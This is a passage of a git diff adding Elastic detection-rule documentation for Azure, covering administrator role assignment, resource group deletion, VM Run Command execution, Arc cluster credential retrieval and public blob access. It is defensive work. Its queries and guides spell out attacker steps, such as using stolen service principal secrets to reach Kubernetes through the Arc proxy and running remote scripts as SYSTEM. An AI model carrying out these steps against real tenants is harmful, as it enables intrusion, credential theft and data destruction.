"ChatCompletions_Create" +| keep + azure.open_ai.properties.request_length, + azure.open_ai.result_signature, + cloud.account.id, + azure.resource.name +| stats + Esql.event_count = count(*) + by + azure.resource.name +| where + Esql.event_count >= 10 +| sort + Esql.event_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-rbac-built-in-administrator-roles-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-rbac-built-in-administrator-roles-assigned.asciidoc new file mode 100644 index 0000000000..b36b4981b3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-rbac-built-in-administrator-roles-assigned.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-azure-rbac-built-in-administrator-roles-assigned]] +=== Azure RBAC Built-In Administrator Roles Assigned + +Identifies when a user is assigned a built-in administrator role in Azure RBAC (Role-Based Access Control). These roles provide significant privileges and can be abused by attackers for lateral movement, persistence, or privilege escalation. The privileged built-in administrator roles include Owner, Contributor, User Access Administrator, Azure File Sync Administrator, Reservations Administrator, and Role Based Access Control Administrator. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.activitylogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles +* https://orca.security/resources/research-pod/azure-identity-access-management-iam-active-directory-ad/ +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Azure Activity Logs +* Platform: Azure +* Rule Type: Custom Query (KQL) +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure RBAC Built-In Administrator Roles Assigned* + + +This rule identifies when a user is assigned a built-in administrator role in Azure RBAC (Role-Based Access Control). These roles provide significant privileges and can be abused by attackers for lateral movement, persistence, or privilege escalation. The privileged built-in administrator roles include Owner, Contributor, User Access Administrator, Azure File Sync Administrator, Reservations Administrator, and Role Based Access Control Administrator. Assignment can be done via the Azure portal, Azure CLI, PowerShell, or through API calls. Monitoring these assignments helps detect potential unauthorized privilege escalations. + + +*Privileged Built-In Administrator Roles* + +- Contributor: b24988ac-6180-42a0-ab88-20f7382dd24c +- Owner: 8e3af657-a8ff-443c-a75c-2fe8c4bcb635 +- Azure File Sync Administrator: 92b92042-07d9-4307-87f7-36a593fc5850 +- Reservations Administrator: a8889054-8d42-49c9-bc1c-52486c10e7cd +- Role Based Access Control Administrator: f58310d9-a9f6-439a-9e8d-f62e7b41a168 +- User Access Administrator: 18d7d88d-d35e-4fb5-a5c3-7773c20a72d9 + + +*Possible investigation steps* + + +- Identify the user who assigned the role and examine their recent activity for any suspicious actions. +- Review the source IP address and location associated with the role assignment event to assess if it aligns with expected user behavior or if it indicates potential unauthorized access. +- Check the history of role assignments for the user who was assigned the role to determine if this is a recurring pattern or a one-time event. + - Additionally, identify the lifetime of the targeted user account to determine if it is a newly created account or an existing one. +- Determine if the user assigning the role historically has the necessary permissions to assign such roles and has done so in the past. +- Investigate any recent changes or activities performed by the newly assigned administrator to identify any suspicious actions or configurations that may have been altered. +- Correlate with other logs, such as Microsoft Entra ID sign-in logs, to identify any unusual access patterns or behaviors for the user. + + +*False positive analysis* + + +- Legitimate administrators may assign built-in administrator roles during routine operations, maintenance or as required for onboarding new staff. +- Azure Kubernetes Service control-plane operations may assign the Contributor role to service principals. Assignments initiated by the Microsoft-owned AzureContainerService application are excluded. +- Repeated writes for the same role assignment ID by the same initiating principal are suppressed for one hour. +- Review internal tickets, change logs, or admin activity dashboards for approved operations. + + +*Response and remediation* + + +- If administrative assignment was not authorized: + - Immediately remove the built-in administrator role from the account. + - Disable or lock the account and begin credential rotation. + - Audit activity performed by the account after elevation, especially changes to role assignments and resource access. +- If suspicious: + - Notify the user and confirm whether they performed the action. + - Check for any automation or scripts that could be exploiting unused elevated access paths. + - Review conditional access and PIM (Privileged Identity Management) configurations to limit elevation without approval. +- Strengthen posture: + - Require MFA and approval for all privilege escalation actions. + - Consider enabling JIT (Just-in-Time) access with expiration. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.activitylogs and + event.action: "MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE" and + azure.activitylogs.properties.requestbody.properties.roleDefinitionId: + ( + *18d7d88d-d35e-4fb5-a5c3-7773c20a72d9* or + *f58310d9-a9f6-439a-9e8d-f62e7b41a168* or + *b24988ac-6180-42a0-ab88-20f7382dd24c* or + *8e3af657-a8ff-443c-a75c-2fe8c4bcb635* or + *92b92042-07d9-4307-87f7-36a593fc5850* or + *a8889054-8d42-49c9-bc1c-52486c10e7cd* + ) and not ( + azure.activitylogs.identity.claims.appid: "7319c514-987d-4e9b-ac3d-d38c4f427f4c" and + azure.activitylogs.identity.authorization.evidence.role: "Service Owner role" and + azure.activitylogs.identity.authorization.evidence.principal_type: "ServicePrincipal" and + azure.activitylogs.properties.requestbody.properties.roleDefinitionId: *b24988ac-6180-42a0-ab88-20f7382dd24c* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-resource-group-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-resource-group-deleted.asciidoc new file mode 100644 index 0000000000..5be14ffd27 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-resource-group-deleted.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-azure-resource-group-deleted]] +=== Azure Resource Group Deleted + +Identifies the deletion of a resource group in Azure, which includes all resources within the group. Deletion is permanent and irreversible. An adversary may delete a resource group in an attempt to evade defenses or intentionally destroy data. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-portal + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Log Auditing +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Data Source: Azure Activity Logs + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Resource Group Deleted* + + +Azure Resource Groups are containers that hold related resources for an Azure solution, enabling efficient management and organization. Adversaries may exploit this by deleting entire groups to disrupt services or erase data, causing significant impact. The detection rule monitors Azure activity logs for successful deletion operations, flagging potential malicious actions for further investigation. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking for the operation name "MICROSOFT.RESOURCES/SUBSCRIPTIONS/RESOURCEGROUPS/DELETE" and ensure the event outcome is marked as "Success" or "success". +- Identify the user or service principal responsible for the deletion by examining the associated user identity or service principal ID in the activity logs. +- Check the timestamp of the deletion event to determine when the resource group was deleted and correlate this with any other suspicious activities around the same time. +- Investigate the resources contained within the deleted resource group to assess the potential impact, including any critical services or data that may have been affected. +- Review any recent changes in permissions or roles assigned to the user or service principal involved in the deletion to identify potential privilege escalation or misuse. +- Examine any related alerts or logs for unusual activities or patterns that might indicate a broader attack or compromise within the Azure environment. + + +*False positive analysis* + + +- Routine maintenance activities by IT teams may trigger alerts when resource groups are intentionally deleted as part of regular updates or infrastructure changes. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or deployment tools that manage resource lifecycles might delete resource groups as part of their normal operation. Identify these scripts and exclude their activity from alerts by filtering based on the service principal or automation account used. +- Testing environments often involve frequent creation and deletion of resource groups. Exclude these environments from alerts by tagging them appropriately and configuring the detection rule to ignore actions on tagged resources. +- Mergers or organizational restructuring can lead to legitimate resource group deletions. Coordinate with relevant departments to anticipate these changes and temporarily adjust monitoring rules to prevent false positives. +- Ensure that any third-party services or consultants with access to your Azure environment are accounted for, as their activities might include resource group deletions. Establish clear communication channels to verify their actions and adjust monitoring rules accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected Azure subscription to prevent further unauthorized actions. This can be done by temporarily disabling access or applying strict access controls. +- Review and revoke any suspicious or unauthorized access permissions associated with the affected resource group to prevent further exploitation. +- Restore the deleted resources from backups if available. Ensure that backup and recovery processes are validated and functioning correctly. +- Conduct a thorough audit of recent Azure activity logs to identify any other potentially malicious actions or compromised accounts. +- Escalate the incident to the security operations team for a detailed investigation and to determine if there are broader implications or related threats. +- Implement additional monitoring and alerting for similar deletion activities across all Azure subscriptions to enhance early detection of such threats. +- Review and strengthen access management policies, ensuring that only authorized personnel have the necessary permissions to delete resource groups. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.RESOURCES/SUBSCRIPTIONS/RESOURCEGROUPS/DELETE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: System Shutdown/Reboot +** ID: T1529 +** Reference URL: https://attack.mitre.org/techniques/T1529/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-run-command-correlated-with-process-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-run-command-correlated-with-process-execution.asciidoc new file mode 100644 index 0000000000..2e457e4431 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-run-command-correlated-with-process-execution.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-azure-run-command-correlated-with-process-execution]] +=== Azure Run Command Correlated with Process Execution + +Correlates successful Azure Virtual Machine Run Command operations with endpoint process execution on the same host within minutes. Adversaries abuse Run Command to run scripts remotely as SYSTEM or root while activity logs only record the control-plane action; Elastic Defend process telemetry reveals the on-guest payload. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-contributor +* https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a +* https://adsecurity.org/?p=4277 + +*Tags*: + +* Domain: Cloud +* Domain: Endpoint +* OS: Windows +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Azure +* Data Source: Microsoft Azure +* Data Source: Azure Activity Logs +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Threat: Cloud VM Execution +* Rule Type: ES|QL +* Platform: Windows +* Platform: Linux +* Platform: Azure + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Run Command Correlated with Process Execution* + + +This ES|QL rule correlates Azure Activity Log `MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION` events with +endpoint process starts, joined on host name within a two-minute bucket and a 0–120 second delay between Run Command and process start. + +Pivot into raw `logs-azure.activitylogs-*` and `logs-endpoint.events.process-*` events for full command lines and +resource identifiers. + + +*Possible investigation steps* + + +- Review `user.email` and `azure.activitylogs.identity.authorization.evidence.principal_id` for who invoked Run Command. +- Inspect `Esql.process_command_line_values` for script paths and arguments beyond the matched pattern. +- Confirm `Esql.host_name` maps to the intended VM and whether Run Command timing aligns with change windows. +- Hunt for additional Run Command or PowerShell activity from the same principal or subscription. + + +*Response and remediation* + + +- If unauthorized, isolate the VM, revoke credentials used for Run Command, and review role assignments on the VM and + subscription. +- Collect endpoint artifacts and Azure activity logs for incident reporting. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-azure.activitylogs-*, logs-endpoint.events.process-* METADATA _id, _version, _index +| WHERE + ( + event.category == "process" AND KQL("event.action:start") + AND process.parent.name == "powershell.exe" + AND process.parent.command_line LIKE "powershell -ExecutionPolicy Unrestricted -File script?.ps1" + AND process.name != "conhost.exe" + ) OR + ( + KQL("event.category:process and event.action:exec and process.parent.name:(dash or bash or sh) and process.parent.args:/var/lib/waagent/run-command/download/*/script.sh") + ) OR + ( + event.module == "azure" + AND event.action == "MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION" + AND NOT KQL("event.outcome:failure") + ) + +// Azure hostname comes as upper-case while Endpoint event comes as lowercase +| EVAL Esql.host_name = COALESCE( + TO_LOWER(host.name), + TO_LOWER(azure.resource.name) + ) +| EVAL ts_runcommand = CASE(event.module == "azure", @timestamp, null) +| EVAL ts_endpoint = CASE(event.category == "process", @timestamp, null) +| EVAL is_runcommand = CASE(event.module == "azure", 1, null) +| EVAL is_endpoint = CASE(event.category == "process", 1, null) +| EVAL Esql.time_bucket = DATE_TRUNC(2 minutes, @timestamp) +| STATS + runcommand_count = COUNT(is_runcommand), + endpoint_count = COUNT(is_endpoint), + user.email = VALUES(user.email), + azure.activitylogs.identity.authorization.evidence.principal_id = VALUES(azure.activitylogs.identity.authorization.evidence.principal_id), + azure.activitylogs.tenant_id = VALUES(azure.activitylogs.tenant_id), + azure.subscription_id = VALUES(azure.subscription_id), + source.ip = VALUES(source.ip), + source.geo.country_name = VALUES(source.geo.country_name), + source.as.number = VALUES(source.as.number), + Esql.process_command_line_values = VALUES(process.command_line), + first_runcommand = MIN(ts_runcommand), + first_ps_exec = MIN(ts_endpoint), + outcome = VALUES(event.outcome) + BY Esql.host_name, Esql.time_bucket +| WHERE runcommand_count >= 1 AND endpoint_count >= 1 +| EVAL delta_ms = TO_LONG(first_ps_exec) - TO_LONG(first_runcommand) +| EVAL delta_sec = delta_ms / 1000 +| WHERE delta_sec >= 0 AND delta_sec <= 120 +| KEEP + user.email, + azure.activitylogs.identity.authorization.evidence.principal_id, + source.ip, + source.as.number, + source.geo.country_name, + azure.activitylogs.tenant_id, + azure.subscription_id, + Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-run-command-script-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-run-command-script-child-process.asciidoc new file mode 100644 index 0000000000..2f88a7693d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-run-command-script-child-process.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-azure-run-command-script-child-process]] +=== Azure Run Command Script Child Process + +Identifies process start events whose parent matches Azure Virtual Machine Run Command execution patterns on Windows or Linux. On Windows, Run Command often launches PowerShell with `-ExecutionPolicy Unrestricted` and a `script?.ps1` file; on Linux, the Azure Linux Agent (waagent) runs downloaded script.sh under "/var/lib/waagent/run-command/". Child process telemetry exposes the on-guest payload that cloud activity logs do not fully describe. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/virtual-machines/run-command +* https://hackingthe.cloud/azure/run-command-abuse/ + +*Tags*: + +* Domain: Cloud +* Domain: Endpoint +* OS: Linux +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Azure +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Cloud VM Execution +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Run Command Script Child Process* + + +Azure VM Run Command executes scripts on guests without interactive RDP or SSH. On Windows, a parent PowerShell +process with `-ExecutionPolicy Unrestricted -File script?.ps1` often precedes child utilities; on Linux, `waagent` +invokes `/var/lib/waagent/run-command/download/*/script.sh` via `bash`, `sh`, or `dash`. + +Correlate with `logs-azure.activitylogs-*` for `MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION` when available. + + +*Possible investigation steps* + + +- Review `process.command_line`, `process.name`, and `process.parent.command_line` or `process.parent.args`. +- Confirm whether the host is an Azure VM and whether Run Command was expected for that asset. +- Pivot on `host.name` or `host.id` for other suspicious process or network activity in the same window. + + +*False positive analysis* + + +- Extension handlers, guest configuration, and patch orchestration may use the same parent patterns. +- Exclude known automation hosts or script paths after validating with platform teams. + + +*Response and remediation* + + +- If unauthorized, review Azure RBAC on the VM and subscription, revoke compromised credentials, and isolate the guest. +- Collect endpoint artifacts and Azure activity logs for incident reporting. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type in ("start", "process_started") and + ( + (process.parent.name == "powershell.exe" and + process.parent.command_line like "powershell -ExecutionPolicy Unrestricted -File script?.ps1") or + (process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "mksh", "busybox") and + process.parent.args like "/var/lib/waagent/run-command/download/*/script.sh") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access.asciidoc new file mode 100644 index 0000000000..7cc5ab5cd6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access]] +=== Azure Service Principal Sign-In Followed by Arc Cluster Credential Access + +Detects when a service principal authenticates to Microsoft Entra ID and then lists credentials for an Azure Arc-connected Kubernetes cluster within a short time window. The `listClusterUserCredential` action retrieves tokens that enable kubectl access through the Arc Cluster Connect proxy. This sequence (service principal sign-in followed by Arc credential retrieval), represents the exact attack chain used by adversaries with stolen service principal secrets to establish a proxy tunnel into Kubernetes clusters. Service principals that authenticate externally (as opposed to managed identities) and immediately access Arc cluster credentials warrant investigation, particularly when the sign-in originates from an unexpected location or ASN. + +*Rule type*: eql + +*Rule indices*: + +* logs-azure.signinlogs-* +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/cluster-connect +* https://learn.microsoft.com/en-us/cli/azure/connectedk8s#az-connectedk8s-proxy +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins +* https://www.ibm.com/think/x-force/identifying-abusing-azure-arc-for-hybrid-escalation-persistence +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Azure Arc +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: Entra ID +* Platform: Azure +* Data Source: Azure Activity Logs + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Service Principal Sign-In Followed by Arc Cluster Credential Access* + + +This rule detects the complete attack entry point for Arc-proxied Kubernetes attacks: a service principal authenticates +to Azure AD, then immediately retrieves Arc cluster credentials. This is the prerequisite sequence before any +Kubernetes-level activity can occur through the Arc proxy. + + +*Possible investigation steps* + + +- Identify the service principal using the `app_id` from the sign-in event and resolve it in Azure AD — is this a + known application? +- Check the sign-in source IP and geolocation — does it match expected infrastructure locations for this SP? +- Review when the SP credentials were last rotated — stale credentials are more likely compromised. +- Check the ASN of the sign-in source — is it from a known cloud provider, corporate network, or unexpected consumer ISP? +- Examine Azure Activity Logs after the credential listing for any Arc-proxied operations (secret/configmap CRUD). +- Correlate with Kubernetes audit logs for operations by the Arc proxy service account + (`system:serviceaccount:azure-arc:azure-arc-kube-aad-proxy-sa`) in the same time window. +- Review Azure AD Audit Logs for recent changes to this SP (new credentials, federated identities, owner changes). + + +*Response and remediation* + + +- Immediately rotate the service principal credentials (secrets and certificates). +- Revoke active sessions and tokens for the SP. +- Review and remove any unauthorized Azure role assignments on Arc-connected clusters. +- Check Kubernetes audit logs for any operations performed through the Arc proxy after credential access. +- Rotate any Kubernetes secrets that may have been accessed through the proxy tunnel. +- Enable conditional access policies to restrict service principal authentication by location if supported. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=30m +[authentication where data_stream.dataset == "azure.signinlogs" + and azure.signinlogs.category == "ServicePrincipalSignInLogs" + and azure.signinlogs.properties.status.error_code == 0 +] by azure.signinlogs.properties.app_id +[any where data_stream.dataset == "azure.activitylogs" + and azure.activitylogs.operation_name : "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/LISTCLUSTERUSERCREDENTIAL/ACTION" + and event.outcome : ("Success", "success") +] by azure.activitylogs.identity.claims.appid + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-blob-public-access-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-blob-public-access-enabled.asciidoc new file mode 100644 index 0000000000..cb206015d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-blob-public-access-enabled.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-34-azure-storage-account-blob-public-access-enabled]] +=== Azure Storage Account Blob Public Access Enabled + +Identifies when Azure Storage Account Blob public access is enabled, allowing external access to blob containers. This technique was observed in cloud ransom-based campaigns where threat actors modified storage accounts to expose non-remotely accessible accounts to the internet for data exfiltration. Adversaries abuse the Microsoft.Storage/storageAccounts/write operation to modify public access settings. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ +* https://docs.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-configure + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: Azure +* Service: Azure Storage + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Storage Account Blob Public Access Enabled* + + +Azure Storage Accounts provide cloud storage solutions with various access control mechanisms. The public access setting, when enabled, allows anonymous internet access to blob containers, bypassing authentication requirements. Adversaries exploit this feature to expose sensitive data for exfiltration or to establish persistent external access. This detection monitors for successful modifications that enable public blob access, a technique notably used in STORM-0501 cloud ransom-based campaigns. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal that initiated the storage account modification by examining the principal ID, UPN and user agent fields. +- Check the specific storage account name in `azure.resource.name` to understand which storage resources were affected and assess the sensitivity of data stored there. +- Investigate the timing of the event to correlate with any other suspicious activities, such as unusual login patterns or privilege escalation attempts. +- Examine the request or response body details to understand the full scope of changes made to the storage account configuration beyond public access settings. +- Review access logs for the affected storage account to identify any subsequent data access or exfiltration attempts following the public access enablement. +- Verify if the storage account modification aligns with approved change requests or maintenance windows in your organization. +- Check for other storage accounts modified by the same principal to identify potential lateral movement or widespread configuration changes. +- Pivot into related activity for the storage account and/or container such as data deletion, encryption or further permission changes. + + +*False positive analysis* + + +- Legitimate CDN integration or public website hosting may require enabling public blob access. Document approved storage accounts used for public content delivery and create exceptions for these specific resources. +- DevOps automation tools might temporarily enable public access during deployment processes. Identify service principals used by CI/CD pipelines and consider time-based exceptions during deployment windows. +- Testing and development environments may have different access requirements. Consider filtering out non-production storage accounts if public access is acceptable in those environments. +- Migration activities might require temporary public access. Coordinate with infrastructure teams to understand planned migrations and create temporary exceptions with defined expiration dates. + + +*Response and remediation* + + +- Immediately disable public blob access on the affected storage account using Azure Portal IaC, or Azure CLI command. +- Audit all blob containers within the affected storage account to identify which data may have been exposed and 